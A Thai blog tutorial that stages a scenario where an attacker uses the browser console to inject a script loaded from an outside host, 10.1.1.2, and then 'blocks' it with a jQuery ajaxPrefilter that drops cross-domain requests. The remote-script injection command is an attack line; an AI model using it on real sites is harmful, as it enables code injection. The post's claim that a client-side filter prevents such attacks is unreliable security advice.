หลายท่านคงเคยได้ยินการใส่ script จากที่อื่น เพื่อทำการโจมตีเว็บไซต์ หรือการใส่ bot เข้ามาในหน้าของเราได้
มาดูเหตุการณ์สมมติกันเลยดีกว่า
At my server 10.1.1.1 test.php กำลังทำงานเวลา 11 นาฬิกา
// test.php
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<script type="text/javascript" src="../jquery/jquery_1.9.js"></script>
<script type="text/javascript">
function callpage(){
$.post('callpage.php',function(data){
alert(data);
});
}
</script>
</head>
</body>
<input type="button" onClick="callpage()" value="Test" />
</body>
</html>
// callpage.php
test
การทำงานง่ายๆ ครับ แค่คุณกดปุ่ม Test ก็จะเป็นการเรียก ajax request ไปหน้า callpage.php ซึ่งก็จะ return ข้อความ test กลับมาแสดงครับ
-------------- อีกสถานที่นึง -------------
เวลา 11.12 gamer เดินเข้าไปเพื่อจะสร้าง bot ยิง server โดยสร้าง script ของตัวเองขึ้นมาที่ 10.1.1.2
// outerscript.js
function callouterpage(){
alert('outerpage');
}
gamer : Wa ha ha ha ha หัวเราะอย่างชั่วร้าย คำว่า test มันเก่าไปเปลี่ยน ๆ
gamer : เปิด firebug console and key in
// command
$('head').append('<script src="http://10.1.1.2/bot/outerscript.js"></script>');
แค่นี่ข้าก็สามารถรันบอทที่เขียนไว้ได้แล้ว ho ho ho
gamer : callouterpage(); // ก็ alert('outerpage'); ออกมา โฮะๆๆ หมูจริงๆ งานนี้
--------------------------------------------------------------------------------------
ครับ และแล้วตัวร้ายก็ทำสำเร็จครับ 555 เป็นการแทรก script ที่ตัวเองเขียนแล้วเอาไปแทรกในหน้า page
มาป้องการเหตุการณ์นี้กันดีกว่าครับ
วันนี้มาแนะนำป้องกันโดย ajaxPrefilter ครับ ซึ่งทุกการ request จะต้องผ่าน Prefilter ก่อนถึงจะเข้าไปทำอะไรต่อได้ครับซึ่งเราสามารถดัดแปลงแก้ไขก่อนการ request ได้
$.ajaxPrefilter(function(options, originalOptions, jqXHR){
var token;
if(!options.crossDomain){
alert('not cross domain');
}else{
alert('cross domain');
options.url = ''; // reject โดยการเปลี่ยน url กลางอากาศครับ 555
}
});
มาดูเต็มๆ กันครับ
สถานการณ์ที่ server หลังจากแก้ไข
admin : 555 ลองเข้ามาอีกสิ ไม่มีวันได้แอ้มหรอก
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<script type="text/javascript" src="../jquery/jquery_1.9.js"></script>
<script type="text/javascript">
$.ajaxPrefilter(function(options, originalOptions, jqXHR){
var token;
if(!options.crossDomain){
alert('not cross domain');
}else{
alert('cross domain');
options.url = ''; // reject
}
});
function callpage(){
$.post('callpage.php',function(data){
alert(data);
});
}
</script>
</head>
</body>
<input type="button" onClick="callpage()" value="Test" />
</body>
</html>
------------ กลับมาที่ gamer ครับ ---------------
gamer : วันนี้ช้านก็จะทำอีก 555
gamer: ป้อน script
// command
$('head').append('<script src="http://10.1.1.2/bot/outerscript.js"></script>');
เอ๊ะ ทำไมขึ้น cross domain ช่างมัน
gamer : callouterpage(); // ReferenceError : callouterpage is not defined
gamer : เห้อ จบกัน
----------------------------------------------
และเหตุการณ์ก็จบลงเพียงเท่านี้ครับ
ลองไปจำลองเหตุการณ์แล้วลองเล่นกันดูครับ
ขอให้ทุกท่านปลอดภัยจาก cross site scripting ครับ
หากมี domain ที่ให้ผ่านได้ก็เช็คจาก options.url ได้นะครับ
อ้างอิง : http://api.jquery.com/jquery.ajaxprefilter/
